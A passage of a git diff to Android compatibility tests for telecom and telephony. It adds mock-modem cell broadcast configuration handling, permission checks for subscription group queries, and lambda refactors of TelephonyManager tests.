diff --git a/tests/tests/telecom/ThirdPtyDialerTestAppTwo/AndroidManifest.xml b/tests/tests/telecom/ThirdPtyDialerTestAppTwo/AndroidManifest.xml
index b4e0511..173418b 100644
--- a/tests/tests/telecom/ThirdPtyDialerTestAppTwo/AndroidManifest.xml
+++ b/tests/tests/telecom/ThirdPtyDialerTestAppTwo/AndroidManifest.xml
@@ -29,7 +29,7 @@
<uses-permission android:name="android.permission.CALL_COMPANION_APP"/>
<application android:label="ThirdPtyDialerTestAppTwo">
- <service android:name=".android.telecom.cts.thirdptydialertwo.CtsThirdPtyDialerInCallServiceTwo"
+ <service android:name=".CtsThirdPtyDialerInCallServiceTwo"
android:permission="android.permission.BIND_INCALL_SERVICE"
android:launchMode="singleInstance"
android:exported="true">
diff --git a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml
index 146cd7c..b3cdd6c 100644
--- a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml
@@ -15,9 +15,10 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.telecom.cts.thirdptyincallservice"
- android:versionCode="1"
- android:versionName="1.0">
+ package="android.telecom.cts.thirdptyincallservice"
+ android:versionCode="1"
+ android:versionName="1.0"
+ android:sharedUserId="android.telecom.cts">
<!-- sdk 15 is the max for read call log -->
<uses-sdk android:minSdkVersion="15"/>
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionTest.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionTest.java
index 3e3a1b4..92e0a21 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionTest.java
@@ -198,9 +198,13 @@
.asInterface(controlConn.getService());
control.resetLatchForServiceBound(true /* bind */);
+ mUiAutomation.adoptShellPermissionIdentity("android.permission.CONTROL_INCALL_EXPERIENCE");
SelfManagedConnection connection = placeAndVerifySelfManagedCall();
control.checkBindStatus(true /* bindStatus */);
+ assertTrue(control.checkBindStatus(true /* bindStatus */));
+ connection.waitOnInCallServiceTrackingChanged();
assertTrue(connection.isTracked());
+ mUiAutomation.dropShellPermissionIdentity();
connection.disconnectAndDestroy();
assertIsInCall(false);
@@ -219,14 +223,15 @@
DEFAULT_DIALER_INCALLSERVICE_2);
ICtsThirdPartyInCallServiceControl control = ICtsThirdPartyInCallServiceControl.Stub
.asInterface(controlConn.getService());
- assertTrue(setDefaultDialer(DEFAULT_DIALER_PKG_2));
+ TestUtils.setDefaultDialer(getInstrumentation(), DEFAULT_DIALER_PKG_2);
control.resetLatchForServiceBound(true /* bind */);
SelfManagedConnection connection = placeAndVerifySelfManagedCall();
- control.checkBindStatus(true /* bindStatus */);
+ assertTrue(control.checkBindStatus(true /* bindStatus */));
connection.waitOnInCallServiceTrackingChanged();
assertTrue(connection.isAlternativeUiShowing());
+ mUiAutomation.dropShellPermissionIdentity();
connection.disconnectAndDestroy();
assertIsInCall(false);
diff --git a/tests/tests/telephony/current/mockmodem/Android.bp b/tests/tests/telephony/current/mockmodem/Android.bp
index 2804142..0e2a29a 100644
--- a/tests/tests/telephony/current/mockmodem/Android.bp
+++ b/tests/tests/telephony/current/mockmodem/Android.bp
@@ -23,6 +23,7 @@
":cts-telephony-utils",
],
libs: [
+ "android-support-annotations",
],
static_libs: [
"androidx.test.rules",
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioMessagingImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioMessagingImpl.java
index c135a3d..87a5235 100644
--- a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioMessagingImpl.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioMessagingImpl.java
@@ -23,14 +23,22 @@
import android.hardware.radio.messaging.IRadioMessagingIndication;
import android.hardware.radio.messaging.IRadioMessagingResponse;
import android.os.RemoteException;
+import android.support.annotation.GuardedBy;
+import android.util.ArraySet;
import android.util.Log;
+import java.util.Set;
+
public class IRadioMessagingImpl extends IRadioMessaging.Stub {
private static final String TAG = "MRMSG";
private final MockModemService mService;
private IRadioMessagingResponse mRadioMessagingResponse;
private IRadioMessagingIndication mRadioMessagingIndication;
+ @GuardedBy("mGsmBroadcastConfigSet")
+ private final Set<Integer> mGsmBroadcastConfigSet = new ArraySet<Integer>();
+ @GuardedBy("mCdmaBroadcastConfigSet")
+ private final Set<Integer> mCdmaBroadcastConfigSet = new ArraySet<Integer>();
public IRadioMessagingImpl(MockModemService service) {
Log.d(TAG, "Instantiated");
@@ -244,7 +252,20 @@
int serial, android.hardware.radio.messaging.CdmaBroadcastSmsConfigInfo[] configInfo) {
Log.d(TAG, "setCdmaBroadcastConfig");
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ int error = RadioError.NONE;
+ if (configInfo == null || configInfo.length == 0) {
+ error = RadioError.INVALID_ARGUMENTS;
+ } else {
+ synchronized (mCdmaBroadcastConfigSet) {
+ mCdmaBroadcastConfigSet.clear();
+ for (int i = 0; i < configInfo.length; i++) {
+ Log.d(TAG, "configInfo serviceCategory"
+ + configInfo[i].serviceCategory);
+ mCdmaBroadcastConfigSet.add(configInfo[i].serviceCategory);
+ }
+ }
+ }
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, error);
try {
mRadioMessagingResponse.setCdmaBroadcastConfigResponse(rsp);
} catch (RemoteException ex) {
@@ -269,7 +290,27 @@
int serial, android.hardware.radio.messaging.GsmBroadcastSmsConfigInfo[] configInfo) {
Log.d(TAG, "setGsmBroadcastConfig");
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ int error = RadioError.NONE;
+ if (configInfo == null || configInfo.length == 0) {
+ error = RadioError.INVALID_ARGUMENTS;
+ } else {
+ synchronized (mGsmBroadcastConfigSet) {
+ mGsmBroadcastConfigSet.clear();
+ for (int i = 0; i < configInfo.length; i++) {
+ int startId = configInfo[i].fromServiceId;
+ int endId = configInfo[i].toServiceId;
+ boolean selected = configInfo[i].selected;
+ Log.d(TAG, "configInfo from: " + startId + ", to: " + endId
+ + ", selected: " + selected);
+ if (selected) {
+ for (int j = startId; j <= endId; j++) {
+ mGsmBroadcastConfigSet.add(j);
+ }
+ }
+ }
+ }
+ }
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, error);
try {
mRadioMessagingResponse.setGsmBroadcastConfigResponse(rsp);
} catch (RemoteException ex) {
@@ -425,4 +466,18 @@
public int getInterfaceVersion() {
return IRadioMessaging.VERSION;
}
+
+ public Set<Integer> getGsmBroadcastConfigSet() {
+ synchronized (mGsmBroadcastConfigSet) {
+ Log.d(TAG, "getBroadcastConfigSet. " + mGsmBroadcastConfigSet);
+ return mGsmBroadcastConfigSet;
+ }
+ }
+
+ public Set<Integer> getCdmaBroadcastConfigSet() {
+ synchronized (mCdmaBroadcastConfigSet) {
+ Log.d(TAG, "getBroadcastConfigSet. " + mCdmaBroadcastConfigSet);
+ return mCdmaBroadcastConfigSet;
+ }
+ }
}
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemManager.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemManager.java
index 54a6300..772c7f8 100644
--- a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemManager.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemManager.java
@@ -25,6 +25,7 @@
import androidx.test.InstrumentationRegistry;
+import java.util.Set;
import java.util.concurrent.TimeUnit;
public class MockModemManager {
@@ -286,4 +287,22 @@
waitForTelephonyFrameworkDone(1);
return result;
}
+
+ /**
+ * get GSM CellBroadcastConfig outputs from IRadioMessagingImpl
+ *
+ * @return Set of broadcast configs
+ */
+ public Set<Integer> getGsmBroadcastConfig() {
+ return mMockModemService.getIRadioMessaging().getGsmBroadcastConfigSet();
+ }
+
+ /**
+ * get CDMA CellBroadcastConfig outputs from IRadioMessagingImpl
+ *
+ * @return Set of broadcast configs
+ */
+ public Set<Integer> getCdmaBroadcastConfig() {
+ return mMockModemService.getIRadioMessaging().getCdmaBroadcastConfigSet();
+ }
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
index 868e454..2c04e60 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
@@ -90,10 +90,10 @@
// Maximum and minimum possible RSSI values(in dbm).
private static final int MAX_RSSI = -10;
private static final int MIN_RSSI = -150;
- // Maximum and minimum possible RSSP values(in dbm).
+ // Maximum and minimum possible RSRP values(in dbm).
private static final int MAX_RSRP = -44;
private static final int MIN_RSRP = -140;
- // Maximum and minimum possible RSSQ values.
+ // Maximum and minimum possible RSRQ values.
private static final int MAX_RSRQ = -3;
private static final int MIN_RSRQ = -35;
// Maximum and minimum possible RSSNR values.
@@ -692,8 +692,9 @@
assertTrue("getTac() out of range [0,65535], tac=" + tac,
(tac == CellInfo.UNAVAILABLE) || (tac >= 0 && tac <= TAC));
+ // Bandwidth ranges from 1400 to 20000
int bw = lte.getBandwidth();
- assertTrue("getBandwidth out of range [1400, 20000] | Integer.Max_Value, bw=",
+ assertTrue("getBandwidth out of range [1400, 20000] | Integer.Max_Value, bw=" + bw,
bw == CellInfo.UNAVAILABLE || bw >= BANDWIDTH_LOW && bw <= BANDWIDTH_HIGH);
int earfcn = lte.getEarfcn();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index 137a43b..e934b2a 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -33,6 +33,7 @@
import static org.junit.Assume.assumeTrue;
import android.annotation.Nullable;
+import android.app.AppOpsManager;
import android.app.UiAutomation;
import android.content.BroadcastReceiver;
import android.content.Context;
@@ -49,6 +50,7 @@
import android.os.Looper;
import android.os.ParcelUuid;
import android.os.PersistableBundle;
+import android.os.Process;
import android.telephony.CarrierConfigManager;
import android.telephony.SubscriptionInfo;
import android.telephony.SubscriptionManager;
@@ -678,10 +680,20 @@
(sm) -> sm.createSubscriptionGroup(subGroup));
// Getting subscriptions in group.
- List<SubscriptionInfo> infoList = mSm.getSubscriptionsInGroup(uuid);
+ List<SubscriptionInfo> infoList;
+ try {
+ mSm.getSubscriptionsInGroup(uuid);
+ fail("SecurityException should be thrown without USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER");
+ } catch (SecurityException ex) {
+ // Expected
+ }
+
+ // has the READ_PRIVILEGED_PHONE_STATE permission
+ infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
+ (sm) -> sm.getSubscriptionsInGroup(uuid), READ_PRIVILEGED_PHONE_STATE);
assertNotNull(infoList);
assertEquals(1, infoList.size());
- assertNull(infoList.get(0).getGroupUuid());
+ assertEquals(uuid, infoList.get(0).getGroupUuid());
infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
(sm) -> sm.getSubscriptionsInGroup(uuid));
@@ -698,30 +710,36 @@
}
availableInfoList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
(sm) -> sm.getAvailableSubscriptionInfoList());
- if (availableInfoList.size() > 1) {
- List<Integer> availableSubGroup = availableInfoList.stream()
- .map(info -> info.getSubscriptionId())
- .filter(subId -> subId != mSubId)
- .collect(Collectors.toList());
+ // has the USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER permission
+ try {
+ setIdentifierAccess(true);
+ if (availableInfoList.size() > 1) {
+ List<Integer> availableSubGroup = availableInfoList.stream()
+ .map(info -> info.getSubscriptionId())
+ .filter(subId -> subId != mSubId)
+ .collect(Collectors.toList());
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
+ (sm) -> sm.addSubscriptionsIntoGroup(availableSubGroup, uuid));
+
+ infoList = mSm.getSubscriptionsInGroup(uuid);
+ assertNotNull(infoList);
+ assertEquals(availableInfoList.size(), infoList.size());
+
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
+ (sm) -> sm.removeSubscriptionsFromGroup(availableSubGroup, uuid));
+ }
+
+ // Remove from subscription group with current sub Id.
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
- (sm) -> sm.addSubscriptionsIntoGroup(availableSubGroup, uuid));
+ (sm) -> sm.removeSubscriptionsFromGroup(subGroup, uuid));
infoList = mSm.getSubscriptionsInGroup(uuid);
assertNotNull(infoList);
- assertEquals(availableInfoList.size(), infoList.size());
-
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
- (sm) -> sm.removeSubscriptionsFromGroup(availableSubGroup, uuid));
+ assertTrue(infoList.isEmpty());
+ } finally {
+ setIdentifierAccess(false);
}
-
- // Remove from subscription group with current sub Id.
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
- (sm) -> sm.removeSubscriptionsFromGroup(subGroup, uuid));
-
- infoList = mSm.getSubscriptionsInGroup(uuid);
- assertNotNull(infoList);
- assertTrue(infoList.isEmpty());
}
@Test
@@ -733,23 +751,31 @@
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
(sm) -> sm.addSubscriptionsIntoGroup(subGroup, uuid));
- // Getting subscriptions in group.
- List<SubscriptionInfo> infoList = mSm.getSubscriptionsInGroup(uuid);
- assertNotNull(infoList);
- assertEquals(1, infoList.size());
- assertNull(infoList.get(0).getGroupUuid());
+ List<SubscriptionInfo> infoList;
+ try {
+ mSm.getSubscriptionsInGroup(uuid);
+ fail("SecurityException should be thrown without USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER");
+ } catch (SecurityException ex) {
+ // Expected
+ }
- infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
- (sm) -> sm.getSubscriptionsInGroup(uuid));
- assertNotNull(infoList);
- assertEquals(1, infoList.size());
- assertEquals(uuid, infoList.get(0).getGroupUuid());
+ // Getting subscriptions in group.
+ try {
+ setIdentifierAccess(true);
+ infoList = mSm.getSubscriptionsInGroup(uuid);
+ assertNotNull(infoList);
+ assertEquals(1, infoList.size());
+ assertEquals(uuid, infoList.get(0).getGroupUuid());
+ } finally {
+ setIdentifierAccess(false);
+ }
// Remove from subscription group with current sub Id.
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
(sm) -> sm.removeSubscriptionsFromGroup(subGroup, uuid));
- infoList = mSm.getSubscriptionsInGroup(uuid);
+ infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
+ (sm) -> sm.getSubscriptionsInGroup(uuid));
assertNotNull(infoList);
assertTrue(infoList.isEmpty());
}
@@ -1459,4 +1485,13 @@
return validCarrier && validNetworkType && validCapabilities;
}
+
+ private void setIdentifierAccess(boolean allowed) {
+ String op = AppOpsManager.OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER;
+ AppOpsManager appOpsManager = InstrumentationRegistry.getContext().getSystemService(
+ AppOpsManager.class);
+ int mode = allowed ? AppOpsManager.MODE_ALLOWED : AppOpsManager.opToDefaultMode(op);
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+ appOpsManager, (appOps) -> appOps.setUidMode(op, Process.myUid(), mode));
+ }
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyFeatureFlagsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyFeatureFlagsTest.java
index dbf81f2..fbcee8a 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyFeatureFlagsTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyFeatureFlagsTest.java
@@ -18,9 +18,13 @@
import static androidx.test.InstrumentationRegistry.getContext;
+import static com.android.compatibility.common.util.PropertyUtil.getVendorApiLevel;
+
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
import android.content.pm.PackageManager;
+import android.os.Build;
import org.junit.Before;
import org.junit.Test;
@@ -34,6 +38,7 @@
@Before
public void setUp() {
+ assumeTrue(getVendorApiLevel() > Build.VERSION_CODES.S);
mPackageManager = getContext().getPackageManager();
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 74b3022..dd684be 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -85,6 +85,7 @@
import android.telephony.PinResult;
import android.telephony.PreciseCallState;
import android.telephony.RadioAccessFamily;
+import android.telephony.RadioAccessSpecifier;
import android.telephony.ServiceState;
import android.telephony.SignalStrength;
import android.telephony.SignalStrengthUpdateRequest;
@@ -146,12 +147,10 @@
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicReference;
import java.util.function.Consumer;
-import java.util.function.Predicate;
import java.util.regex.Pattern;
import java.util.stream.Collectors;
import java.util.stream.IntStream;
-
/**
* Build, install and run the tests by running the commands below:
* make cts -j64
@@ -317,32 +316,26 @@
TelephonyManager.NETWORK_TYPE_GPRS,
TelephonyManager.NETWORK_TYPE_EDGE}));
sNetworkTypes.put(CellIdentityWcdma.class,
- Arrays.asList(new Integer[]{
- TelephonyManager.NETWORK_TYPE_UMTS,
- TelephonyManager.NETWORK_TYPE_HSDPA,
- TelephonyManager.NETWORK_TYPE_HSUPA,
- TelephonyManager.NETWORK_TYPE_HSPA,
- TelephonyManager.NETWORK_TYPE_HSPAP}));
+ Arrays.asList(TelephonyManager.NETWORK_TYPE_UMTS,
+ TelephonyManager.NETWORK_TYPE_HSDPA,
+ TelephonyManager.NETWORK_TYPE_HSUPA,
+ TelephonyManager.NETWORK_TYPE_HSPA,
+ TelephonyManager.NETWORK_TYPE_HSPAP));
sNetworkTypes.put(CellIdentityCdma.class,
- Arrays.asList(new Integer[]{
- TelephonyManager.NETWORK_TYPE_CDMA,
- TelephonyManager.NETWORK_TYPE_1xRTT,
- TelephonyManager.NETWORK_TYPE_EVDO_0,
- TelephonyManager.NETWORK_TYPE_EVDO_A,
- TelephonyManager.NETWORK_TYPE_EVDO_B,
- TelephonyManager.NETWORK_TYPE_EHRPD}));
+ Arrays.asList(TelephonyManager.NETWORK_TYPE_CDMA,
+ TelephonyManager.NETWORK_TYPE_1xRTT,
+ TelephonyManager.NETWORK_TYPE_EVDO_0,
+ TelephonyManager.NETWORK_TYPE_EVDO_A,
+ TelephonyManager.NETWORK_TYPE_EVDO_B,
+ TelephonyManager.NETWORK_TYPE_EHRPD));
sNetworkTypes.put(CellIdentityLte.class,
- Arrays.asList(new Integer[]{
- TelephonyManager.NETWORK_TYPE_LTE}));
+ Arrays.asList(TelephonyManager.NETWORK_TYPE_LTE));
sNetworkTypes.put(CellIdentityNr.class,
- Arrays.asList(new Integer[]{
- TelephonyManager.NETWORK_TYPE_NR}));
+ Arrays.asList(TelephonyManager.NETWORK_TYPE_NR));
sNetworkTypes.put(CellIdentityTdscdma.class,
- Arrays.asList(new Integer[]{
- TelephonyManager.NETWORK_TYPE_TD_SCDMA}));
+ Arrays.asList(TelephonyManager.NETWORK_TYPE_TD_SCDMA));
}
-
private int mTestSub;
private TelephonyManagerTest.CarrierConfigReceiver mReceiver;
private int mRadioVersion;
@@ -428,28 +421,20 @@
mAllowedNetworkTypesList = new HashMap<>();
}
long allowedNetworkTypesUser = ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelephonyManager, (tm) -> {
- return tm.getAllowedNetworkTypesForReason(
- TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_USER);
- }
+ mTelephonyManager, (tm) -> tm.getAllowedNetworkTypesForReason(
+ TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_USER)
);
long allowedNetworkTypesPower = ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelephonyManager, (tm) -> {
- return tm.getAllowedNetworkTypesForReason(
- TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER);
- }
+ mTelephonyManager, (tm) -> tm.getAllowedNetworkTypesForReason(
+ TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER)
);
long allowedNetworkTypesCarrier = ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelephonyManager, (tm) -> {
- return tm.getAllowedNetworkTypesForReason(
- TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_CARRIER);
- }
+ mTelephonyManager, (tm) -> tm.getAllowedNetworkTypesForReason(
+ TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_CARRIER)
);
long allowedNetworkTypesEnable2g = ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelephonyManager, (tm) -> {
- return tm.getAllowedNetworkTypesForReason(
- TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_ENABLE_2G);
- }
+ mTelephonyManager, (tm) -> tm.getAllowedNetworkTypesForReason(
+ TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_ENABLE_2G)
);
mAllowedNetworkTypesList.put(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_USER,
allowedNetworkTypesUser);
@@ -599,27 +584,25 @@
grantLocationPermissions();
- TestThread t = new TestThread(new Runnable() {
- public void run() {
- Looper.prepare();
- mListener = new PhoneStateListener() {
- @Override
- public void onCellLocationChanged(CellLocation location) {
- if(!mOnCellLocationChangedCalled) {
- synchronized (mLock) {
- mOnCellLocationChangedCalled = true;
- mLock.notify();
- }
+ TestThread t = new TestThread(() -> {
+ Looper.prepare();
+ mListener = new PhoneStateListener() {
+ @Override
+ public void onCellLocationChanged(CellLocation location) {
+ if (!mOnCellLocationChangedCalled) {
+ synchronized (mLock) {
+ mOnCellLocationChangedCalled = true;
+ mLock.notify();
}
}
- };
-
- synchronized (mLock) {
- mLock.notify(); // mListener is ready
}
+ };
- Looper.loop();
+ synchronized (mLock) {
+ mLock.notify(); // mListener is ready
}
+
+ Looper.loop();
});
synchronized (mLock) {
@@ -1276,6 +1259,20 @@
public void testSetSystemSelectionChannels() {
assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS));
+ List<RadioAccessSpecifier> channels = Collections.emptyList();
+ if (mRadioVersion >= RADIO_HAL_VERSION_1_6) {
+ channels = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelephonyManager, TelephonyManager::getSystemSelectionChannels);
+ if (channels.isEmpty()) {
+ // TODO (b/189255895): Throw an error once getSystemSelectionChannels is functional.
+ Log.e(TAG, "getSystemChannels not implemented on IRadio 1.6+.");
+ }
+ }
+ if (channels.isEmpty()) {
+ Log.d(TAG, "Skipping test since system selection channels are not available.");
+ return;
+ }
+
LinkedBlockingQueue<Boolean> queue = new LinkedBlockingQueue<>(1);
final UiAutomation uiAutomation =
InstrumentationRegistry.getInstrumentation().getUiAutomation();
@@ -1288,10 +1285,7 @@
Boolean result = queue.poll(1000, TimeUnit.MILLISECONDS);
// Ensure we get a result
assertNotNull(result);
- // Only verify the result for supported devices on IRadio 1.3+
- if (mRadioVersion >= RADIO_HAL_VERSION_1_3) {
- assertTrue(result);
- }
+ assertTrue(result);
} catch (InterruptedException e) {
fail("interrupted");
} finally {
@@ -1303,16 +1297,15 @@
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
tp -> tp.setSystemSelectionChannels(Collections.emptyList()));
- // TODO (b/189255895): Uncomment once getSystemSelection channels is functional in S QPR
- /**
- // getSystemSelectionChannels was added in IRadio 1.6, so ensure it returns
- // the value that was set by setSystemSelectionChannels.
- if (mRadioVersion >= RADIO_HAL_VERSION_1_6) {
- assertEquals(Collections.emptyList(),
- ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
- TelephonyManager::getSystemSelectionChannels));
- }
- **/
+ // Assert that we get back the value we set.
+ assertEquals(Collections.emptyList(),
+ ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+ TelephonyManager::getSystemSelectionChannels));
+
+ // Reset the values back to the original.
+ List<RadioAccessSpecifier> finalChannels = channels;
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+ tp -> tp.setSystemSelectionChannels(finalChannels));
}
@Test
@@ -1439,22 +1432,20 @@
return;
}
- TestThread t = new TestThread(new Runnable() {
- public void run() {
- Looper.prepare();
+ TestThread t = new TestThread(() -> {
+ Looper.prepare();
- mListener = new PhoneStateListener() {
- @Override
- public void onServiceStateChanged(ServiceState serviceState) {
- synchronized (mLock) {
- mServiceState = serviceState;
- mLock.notify();
- }
+ mListener = new PhoneStateListener() {
+ @Override
+ public void onServiceStateChanged(ServiceState serviceState) {
+ synchronized (mLock) {
+ mServiceState = serviceState;
+ mLock.notify();
}
- };
- mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_SERVICE_STATE);
- Looper.loop();
- }
+ }
+ };
+ mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_SERVICE_STATE);
+ Looper.loop();
});
synchronized (mLock) {
@@ -1728,45 +1719,42 @@
public void testRebootRadio() throws Throwable {
assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS));
- TestThread t = new TestThread(new Runnable() {
- public void run() {
- Looper.prepare();
+ TestThread t = new TestThread(() -> {
+ Looper.prepare();
- mListener = new PhoneStateListener() {
- @Override
- public void onRadioPowerStateChanged(
- @RadioPowerState int state) {
- synchronized (mLock) {
- if (state == TelephonyManager.RADIO_POWER_ON && mHasRadioPowerOff) {
- mRadioRebootTriggered = true;
- mLock.notify();
- } else if (state == TelephonyManager.RADIO_POWER_OFF) {
- // reboot must go to power off
- mHasRadioPowerOff = true;
- }
+ mListener = new PhoneStateListener() {
+ @Override
+ public void onRadioPowerStateChanged(@RadioPowerState int state) {
+ synchronized (mLock) {
+ if (state == TelephonyManager.RADIO_POWER_ON && mHasRadioPowerOff) {
+ mRadioRebootTriggered = true;
+ mLock.notify();
+ } else if (state == TelephonyManager.RADIO_POWER_OFF) {
+ // reboot must go to power off
+ mHasRadioPowerOff = true;
}
}
- };
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
- (tm) -> tm.listen(mListener,
- PhoneStateListener.LISTEN_RADIO_POWER_STATE_CHANGED));
- Looper.loop();
- }
+ }
+ };
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+ (tm) -> tm.listen(mListener,
+ PhoneStateListener.LISTEN_RADIO_POWER_STATE_CHANGED));
+ Looper.loop();
});
assertThat(mTelephonyManager.getRadioPowerState()).isEqualTo(
TelephonyManager.RADIO_POWER_ON);
assertThat(mRadioRebootTriggered).isFalse();
assertThat(mHasRadioPowerOff).isFalse();
+ t.start();
try {
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
- (tm) -> tm.rebootModem());
+ TelephonyManager::rebootModem);
} catch (Exception ex) {
//skip this test if not supported or unsuccessful (success=false)
return;
}
- t.start();
synchronized (mLock) {
// reboot takes longer time
if (!mRadioRebootTriggered) {
@@ -1785,25 +1773,23 @@
// note, other telephony states might not resumes properly at this point. e.g, service state
// might still in the transition from OOS to In service. Thus we need to wait for in
// service state before running next tests.
- t = new TestThread(new Runnable() {
- public void run() {
- Looper.prepare();
+ t = new TestThread(() -> {
+ Looper.prepare();
- mListener = new PhoneStateListener() {
- @Override
- public void onServiceStateChanged(ServiceState serviceState) {
- synchronized (mLock) {
- if (serviceState.getState() == ServiceState.STATE_IN_SERVICE) {
- mServiceStateChangedCalled = true;
- mLock.notify();
- }
+ mListener = new PhoneStateListener() {
+ @Override
+ public void onServiceStateChanged(ServiceState serviceState) {
+ synchronized (mLock) {
+ if (serviceState.getState() == ServiceState.STATE_IN_SERVICE) {
+ mServiceStateChangedCalled = true;
+ mLock.notify();
}
}
- };
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
- (tm) -> tm.listen(mListener, PhoneStateListener.LISTEN_SERVICE_STATE));
- Looper.loop();
- }
+ }
+ };
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+ (tm) -> tm.listen(mListener, PhoneStateListener.LISTEN_SERVICE_STATE));
+ Looper.loop();
});
synchronized (mLock) {
@@ -3258,7 +3244,7 @@
long allowedNetworkTypes = TelephonyManager.NETWORK_TYPE_BITMASK_NR;
try {
mTelephonyManager.setAllowedNetworkTypes(allowedNetworkTypes);
- fail("testSetPolicyDataEnabled: SecurityException expected");
+ fail("testSetAllowedNetworkTypes: SecurityException expected");
} catch (SecurityException se) {
// expected
}
@@ -3331,7 +3317,7 @@
mIsAllowedNetworkTypeChanged = true;
mTelephonyManager.setAllowedNetworkTypesForReason(
TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER, allowedNetworkTypes);
- fail("testSetPolicyDataEnabled: SecurityException expected");
+ fail("testSetAllowedNetworkTypesForReason: SecurityException expected");
} catch (SecurityException se) {
// expected
}
@@ -3363,8 +3349,7 @@
// test without permission: verify SecurityException
long allowedNetworkTypes1 = TelephonyManager.NETWORK_TYPE_BITMASK_NR
